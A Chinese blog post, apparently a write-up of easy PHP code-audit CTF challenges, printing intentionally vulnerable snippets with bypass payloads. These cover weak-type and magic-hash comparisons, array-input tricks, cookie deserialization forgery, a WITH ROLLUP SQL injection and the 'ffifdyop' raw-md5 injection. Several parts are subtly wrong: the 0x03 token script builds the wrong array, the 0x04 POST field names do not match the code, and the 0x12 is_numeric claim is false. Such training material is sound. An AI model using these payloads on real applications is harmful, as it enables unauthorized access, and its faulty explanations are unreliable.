美文网首页
PHP代码审计——EASY CTF篇

PHP代码审计——EASY CTF篇

作者: Shad0w_zz | 来源:发表于2019-05-22 09:56 被阅读0次

    0x01 extract变量覆盖

    <?php
    
    $flag='xxx'; 
    extract($_GET);
     if(isset($shiyan))
     { 
        $content=trim(file_get_contents($flag));
        if($shiyan==$content)
        { 
            echo'ctf{xxx}'; 
        }
       else
       { 
        echo'Oh.no';
       } 
       }
    
    ?>
    

    ?shiyan=&flag=1
    在file_get_contents($flag)过程时出错,返回$content为空,通过$shiyan==$content判断

    0x02 绕过过滤的空白字符

    <?php
     
    $info = ""; 
    $req = [];
    $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
     
    ini_set("display_error", false); //为一个配置选项设置值
    error_reporting(0); //关闭所有PHP错误报告
     
    if(!isset($_GET['number'])){
       header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
     
       die("have a fun!!"); //die — 等同于 exit()
     
    }
     
    foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
        foreach($global_var as $key => $value) { 
            $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
            is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
        } 
    } 
     
     
    function is_palindrome_number($number) { 
        $number = strval($number); //strval — 获取变量的字符串值
        $i = 0; 
        $j = strlen($number) - 1; //strlen — 获取字符串长度
        while($i < $j) { 
            if($number[$i] !== $number[$j]) { 
                return false; 
            } 
            $i++; 
            $j--; 
        } 
        return true; 
    } 
     
     
    if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 ,此处要求number非纯数字
    {
     
       $info="sorry, you cann't input a number!";
     
    }
    elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值,此处要求number与intval(number)的字符串值一致,而%0c在这一过程中将保留
    {
     
         $info = "number must be equal to it's integer!! ";  
     
    }
    else
    {
     
         $value1 = intval($req["number"]);
         $value2 = intval(strrev($req["number"]));  
     
         if($value1!=$value2){//此处要求number变量数字部分与其反转后相同
              $info="no, this is not a palindrome number!";
         }
         else
         {
     
              if(is_palindrome_number($req["number"])){
                  $info = "nice! {$value1} is a palindrome number!"; 
              }
              else
              {
                 $info=$flag;
              }
         }
     
    }
     
    echo $info;
    

    ?number=%00%0c191

    • %00使if(is_numeric($_REQUEST['number'])) 和elseif($req['number']!=strval(intval($req['number'])))均返回false;
    • intval和is_numeric都会忽略\f(也就是%0c)这个字符,使number值为191;
    • 而在if(is_palindrome_number($req["number"]))判断中,strval($number)值为\f191,从而使$number[$i]为\f, $number[$j]为1通过if($number[$i] !== $number[$j]) 的判断返回false。

    0x03 多重加密

    <?php
        include 'common.php';
        $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
        //把一个或多个数组合并为一个数组
        class db
        {
            public $where;
            function __wakeup()
            {
                if(!empty($this->where))
                {
                    $this->select($this->where);
                }
            }
            function select($where)
            {
                $sql = mysql_query('select * from user where '.$where);
                //函数执行一条 MySQL 查询。
                return @mysql_fetch_array($sql);
                //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
            }
        }
    
        if(isset($requset['token']))
        //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
        {
            $login = unserialize(gzuncompress(base64_decode($requset['token'])));
            //gzuncompress:进行字符串压缩
            //unserialize: 将已序列化的字符串还原回 PHP 的值
    
            $db = new db();
            $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
            //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
    
            if($login['user'] === 'ichunqiu')
            {
                echo $flag;
            }else if($row['pass'] !== $login['pass']){
                echo 'unserialize injection!!';
            }else{
                echo "(╯‵□′)╯︵┴─┴ ";
            }
        }else{
            header('Location: index.php?error=1');
        }
    
    ?> 
    

    判断条件只有一个:if($login['user'] === 'ichunqiu')
    而$login = unserialize(gzuncompress(base64_decode($requset['token'])));
    因此只需要传递一个符合要求的序列化值即可,脚本如下:

    <?php
    $arr = array(['user'] === 'ichunqiu');
    $token = base64_encode(gzcompress(serialize($arr)));
    print_r($token);
    ?>
    //eJxLtDK0qs60MrBOAuJaAB5uBBQ=
    

    0x04 SQL注入_WITH ROLLUP绕过

    <?php
    error_reporting(0);
    if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
        echo '<form action="" method="post">'."<br/>";
        echo '<input name="uname" type="text"/>'."<br/>";
        echo '<input name="pwd" type="text"/>'."<br/>";
        echo '<input type="submit" />'."<br/>";
        echo '</form>'."<br/>";
        echo '<!--source: source.txt-->'."<br/>";
        die;
    }
    function AttackFilter($StrKey,$StrValue,$ArrReq){  
        if (is_array($StrValue)){
    //检测变量是否是数组
            $StrValue=implode($StrValue);
    //返回由数组元素组合成的字符串
        }
        if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
    //匹配成功一次后就会停止匹配
            print "水可载舟,亦可赛艇!";
            exit();
        }
    }
    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
    foreach($_POST as $key=>$value){ 
    //遍历数组
        AttackFilter($key,$value,$filter);
    }
    $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    if (!$con){
        die('Could not connect: ' . mysql_error());
    }
    $db="XXXXXX";
    mysql_select_db($db, $con);
    //设置活动的 MySQL 数据库
    $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    $query = mysql_query($sql); 
    //执行一条 MySQL 查询
    if (mysql_num_rows($query) == 1) { 
    //返回结果集中行的数目
        $key = mysql_fetch_array($query);
    //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
        if($key['pwd'] == $_POST['pwd']) {
            print "CTF{XXXXXX}";
        }else{
            print "亦可赛艇!";
        }
    }else{
        print "一颗赛艇!";
    }
    mysql_close($con);
    ?>
    

    admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
    拼接后的SQL语句为:
    SELECT * FROM interest WHERE uname = 'admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
    因此可以通过注入payload使username仍为admin,但password为空。


    POST:
    username=admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -&password=

    0x05 sha()函数比较绕过

    <?php
    
    $flag = "flag";
    
    if (isset($_GET['name']) and isset($_GET['password'])) 
    {
        if ($_GET['name'] == $_GET['password'])
            echo '<p>Your password can not be your name!</p>';
        else if (sha1($_GET['name']) === sha1($_GET['password']))
          die('Flag: '.$flag);
        else
            echo '<p>Invalid password.</p>';
    }
    else
        echo '<p>Login first!</p>';
    ?>
    

    ?name[]=1&password[]=2
    sha1()函数默认的传入参数类型是字符串型,当传入数组时均会返回false,通过判断。

    0x06 SESSION验证绕过

    <?php
    
    $flag = "flag";
    
    session_start(); 
    if (isset ($_GET['password'])) {
        if ($_GET['password'] == $_SESSION['password'])
            die ('Flag: '.$flag);
        else
            print '<p>Wrong guess.</p>';
    }
    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    ?>
    

    ?password=
    初始状态session为空,因此password也传入空值即可

    0x07 md5加密相等绕过

    var_dump(md5('240610708') == md5('QNKCDZO'));
    var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
    var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
    var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
    var_dump('0010e2' == '1e3');
    var_dump('0x1234Ab' == '1193131');
    var_dump('0xABCdef' == ' 0xABCdef');

    md5('240610708'); // 0e462097431906509019562988736854
    md5('QNKCDZO'); // 0e830400451993494058024219903391

    pg:把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。
    同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。

    0x08 intval函数四舍五入

    <?php
    if($_GET[id]) {
        $id = intval($_GET[id]);
        if ($_GET[id]==1024) {
            echo "<p>no! try again</p>";
        }
        else{
            echo "flag{**************************}";
        }
    }
    ?>
    

    1024.1绕过

    0x09 md5()函数===使用数组绕过

    <?php
    error_reporting(0);
    $flag = 'flag{test}';
    if (isset($_GET['username']) and isset($_GET['password'])) {
        if ($_GET['username'] == $_GET['password'])
            print 'Your password can not be your username.';
        else if (md5($_GET['username']) === md5($_GET['password']))
            die('Flag: '.$flag);
        else
            print 'Invalid password';
    }
    ?>
    

    ?username[]=1&password[]=2

    0x10 十六进制与数字比较

    <?php
    error_reporting(0);
    function noother_says_correct($temp)
    {
        $flag = 'flag{test}';
        $one = ord('1');  //ord — 返回字符的 ASCII 码值
        $nine = ord('9'); //ord — 返回字符的 ASCII 码值
        $number = '3735929054';
        // Check all the input characters!
        for ($i = 0; $i < strlen($number); $i++)
        { 
            // Disallow all the digits!
            $digit = ord($temp{$i});
            if ( ($digit >= $one) && ($digit <= $nine) )
            {
                // Aha, digit not allowed!
                return "flase";
            }
        }
        if($number == $temp)
            echo $flag;
            return $flag;
    }
    $temp = $_GET['password'];
    echo noother_says_correct($temp);
    
    ?>
    

    ?password=0xdeadc0de
    3735929054 == 0xdeadc0de(十六进制)

    0x11 数字验证正则绕过

    <?php
    
    error_reporting(0);
    $flag = 'flag{test}';
    if  ("POST" == $_SERVER['REQUEST_METHOD']) 
    { 
        $password = $_POST['password']; 
        if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配, 意为必须是12个字符以上(非空格非TAB之外的内容)
        { 
            echo 'Wrong Format'; 
            exit; 
        } 
        while (TRUE) 
        { 
            $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
            if (6 > preg_match_all($reg, $password, $arr)) //意为匹配到的次数要大于6次
    //字符串中,把连续的大写,小写,数字,符号作为一段,至少分六段,例如a12SD+io8可以分成a 12 SD + io 8六段
                break; 
            $c = 0; 
            $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
            foreach ($ps as $pt) 
            { 
                if (preg_match("/[[:$pt:]]+/", $password)) 
                    $c += 1; 
            } 
            if ($c < 3) break; 
            //>=3,意为必须要有大小写字母,数字,字符内容三种与三种以上
            if ("42" == $password) echo $flag; //意为必须等于42
            else echo 'Wrong password'; 
            exit; 
        } 
    }
    
    ?>
    

    password=42.00e+00000000000 或 password=420.000000000e-1

    0x12 弱类型整数大小比较绕过

    <?php
    
    error_reporting(0);
    $flag = "flag{test}";
    
    $temp = $_GET['password'];
    is_numeric($temp)?die("no numeric"):NULL;    
    if($temp>1336){
        echo $flag;
    } 
    
    ?>
    

    ?password=1337a
    当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
    当输入1337a,在is_numeric中返回true,然后在比较时被转换成数字1337。

    0x13 md5函数true绕过注入

    <?php 
    error_reporting(0);
    $link = mysql_connect('localhost', 'root', 'root');
    if (!$link) { 
      die('Could not connect to MySQL: ' . mysql_error()); 
    } 
    // 选择数据库
    $db = mysql_select_db("security", $link);
    if(!$db)
    {
      echo 'select db error';
      exit();
    }
    // 执行sql
    $password = $_GET['password'];
    $sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
    var_dump($sql);
    $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
    $row1 = mysql_fetch_row($result);
    var_dump($row1);
    mysql_close($link);
    ?>
    

    ?password=ffifdyop
    只需md5($password,true)包含' or 'xxx这样的字符即可绕过,SQL即变成:
    SELECT * FROM admin WHERE pass = '' or 'xxx'
    字符串ffifdyop,md5后为276f722736c95d99e921722cf9ed621c,hex转换为字符串为:'or'6<trash>

    0x14 switch没有break 字符与0比较绕过

    <?php
    //$flag = 'flag{***************}';
    error_reporting(0);
    
    if (isset($_GET['which']))
    {
        $which = $_GET['which'];
        switch ($which)
        {
        case 0:
            echo 111;
            //break;
        case 1:
        case 2:
            require_once $which.'.php';
            echo $flag;
            break;
        default:
            echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
            break;
        }
    }
    
    ?>
    

    ?which=flag
    这里在case 0 和 case 1的时候均没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default。
    但实际上,在case 0比较的时候,是相等的。进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句。当我们传入flag时,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php




    在php中,非数字开头的字符串与数字0的弱类型比较(==)均返回true。
    而以数字开头的字符串进行比较时,可转换为数字。
    eg:7asd可转换为7

    0x15 利用提交数组绕过逻辑

    <?php 
    $role = "guest";
    $flag = "flag{test_flag}";
    $auth = false;
    if(isset($_COOKIE["role"])){
        $role = unserialize(base64_decode($_COOKIE["role"]));
        if($role === "admin"){
            $auth = true;
        }
        else{
            $auth = false;
        }
    }
    else{
        $role = base64_encode(serialize($role));
        setcookie('role',$role);
    }
    if($auth){
        if(isset($_POST['filename'])){
            $filename = $_POST['filename'];
            $data = $_POST['data'];
            if(preg_match('[<>?]', $data)) {
                die('No No No!'.$data);
            }
            else {
                $s = implode($data);//implode() 函数返回由数组元素组合成的字符串。
                if(!preg_match('[<>?]', $s)){
                    $flag='None.';
                }
                $rand = rand(1,10000000);
                $tmp="./uploads/".md5(time() + $rand).$filename;
                file_put_contents($tmp, $flag);
                echo "your file is in " . $tmp;
            }
        }
        else{
            echo "Hello admin, now you can upload something you are easy to forget.";
            echo "<br />there are the source.<br />";
            echo '<textarea rows="10" cols="100">';
            echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
            echo '</textarea>';
        }
    }
    else{
        echo "Sorry. You have no permissions.";
    }
    ?>
    
    • 修改cookie中role为czo1OiJhZG1pbiI7令$auth为true
    • data[0]=123&data[1]=<> 的形式传入数组
      preg_match('[<>?]', $data)匹配数组,结果返回false;
      preg_match('[<>?]', $s)匹配字符串,结果返回true。

    0x16

    <?php
    error_reporting(0);
    echo "<!--index.phps-->";
    if(!$_GET['id'])
    {
    header('Location: index.php?id=1');
    exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    echo 'Hahahahahaha';
    return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    require("flag.txt");
    }
    else
    {
    print "work harder!harder!harder!";
    }
    ?>
    

    ?a=data:,1112 is a nice lab!&id=0e12&b=%00412311

    • $data=="1112 is a nice lab!"
      利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥,参考这里
      data:,<文本数据>
      data:text/plain,<文本数据>
      data:text/html,<HTML代码>
      data:text/html;base64,<base64编码的HTML代码>
      data:text/css,<CSS代码>
      data:text/css;base64,<base64编码的CSS代码>
      data:text/javascript,<Javascript代码>
      data:text/javascript;base64,<base64编码的Javascript代码>
      data:image/gif;base64,base64编码的gif图片数据
      data:image/png;base64,base64编码的png图片数据
      data:image/jpeg;base64,base64编码的jpeg图片数据
      data:image/x-icon;base64,base64编码的icon图片数据
    • $id==0
      典型的PHP弱比较可参考这里
    • strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
      strlen函数对%00不截断但substr截断
      ereg函数对%00截断及遇到%00则默认为字符串的结束

    0x17

    <?php
    error_reporting(0);
    include "flag.php";
    highlight_file(__file__);
    if(isset($_GET['args'])){
        $args = $_GET['args'];
        if(!preg_match("/^\w+$/",$args)){
            die("args error!");
        }
        eval("var_dump($$args);");//这里涉及超全局变量的使用
    }
    ?>
    

    ?args=GLOBALS

    0x18

    <?php
    show_source(__FILE__);
    $a=0;
    $b=0;
    $c=0;
    $d=0;
    if (isset($_GET['x1']))
    {
        $x1 = $_GET['x1'];
        $x1=="1"?die("ha?"):NULL;
        switch ($x1)
        {
            case 0:
            case 1:
                $a=1;
                break;
        }
    }
    $x2=(array)json_decode(@$_GET['x2']);
    if(is_array($x2)){
        is_numeric(@$x2["x21"])?die("ha?"):NULL;
        if(@$x2["x21"]){
            ($x2["x21"]>2017)?$b=1:NULL;
        }
        if(is_array(@$x2["x22"])){
            if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
            $p = array_search("XIPU", $x2["x22"]);
            $p===false?die("ha?"):NULL;
            foreach($x2["x22"] as $key=>$val){
                $val==="XIPU"?die("ha?"):NULL;
            }
            $c=1;
        }
    }
    $x3 = $_GET['x3'];
    if ($x3 != '15562') {
        if (strstr($x3, 'XIPU')) {
            if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
                $d=1;
            }
        }
    }
    if($a && $b && $c && $d){
        include "flag.php";
        echo $flag;
    }
    ?>
    

    ?x1=1a&x2={"x21":"2018e","x22":[["XIPU"],0]}&x3=47484XIPU

    • x1=1a 或 0
    • x3位md5弱类型比较
    import re
    
    import hashlib
    
    md = hashlib.md5("15562".encode())
    
    s = md.hexdigest()[8:8+16]
    
    print('md5(15562) =',s)
    
    for i in range(10000000):
    
       #md = hashlib.md5(('XIPU'+str(i)).encode())
       md = hashlib.md5((str(i) + 'XIPU').encode())
    
       x = md.hexdigest()[8:8+16]
    
       if re.findall('^0e\d*$',x):
    
          print(str(i) + 'XIPU')
    
          print(x)
    

    0x19

    <?php
    if (isset($_POST['message'])) {
        $message = json_decode($_POST['message']);
        $key ="*********";
        if ($message->key == $key) {
            echo "flag";
        }
        else {
            echo "fail";
        }
    }
    else{
        echo "~~~~";
    }
    

    message={"key":true}


    0x20

    <?php
    error_reporting(0);
    if (empty($_GET['b'])) {
        show_source(__FILE__);
        die();
    }else{
        include('flag.php');
    $a = "www.XMAN.com";
    $b = $_GET['b'];
    @parse_str($b);
    if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
        echo $flag;
    }else{
    exit('你的答案不对0.0');
    }
    }
    ?>
    

    ?b=a[0]=s878926199a

    0x21

    <?php
    if(isset($_POST['login']))
    {
        if(isset($_POST['user']))
        {
            if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
            {
                die('user错误!');
            }
        }
        if (isset($_POST['name']) && isset($_POST['password']))
        {
            if ($_POST['name'] == $_POST['password'] )
            {
                die('账号密码不能一致!');
            }
            if (md5($_POST['name']) === md5($_POST['password']))
            {
                if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
                {
                    if($_POST['id']==72)
                        die("flag...");
                    else
                        die("ID错误2!");
                }
                else
                {
                    die("ID错误1!");
                }
            }
            else
                die('账号密码错误!');
        }
    }
    

    user[]=1&name[]=1&password[]=2&id=72.0&login=Check
    or
    user[]=1&name[]=1&password[]=2&id=072&login=Check

    源项目地址

    相关文章

      网友评论

          本文标题:PHP代码审计——EASY CTF篇

          本文链接:https://www.haomeiwen.com/subject/mitdzqtx.html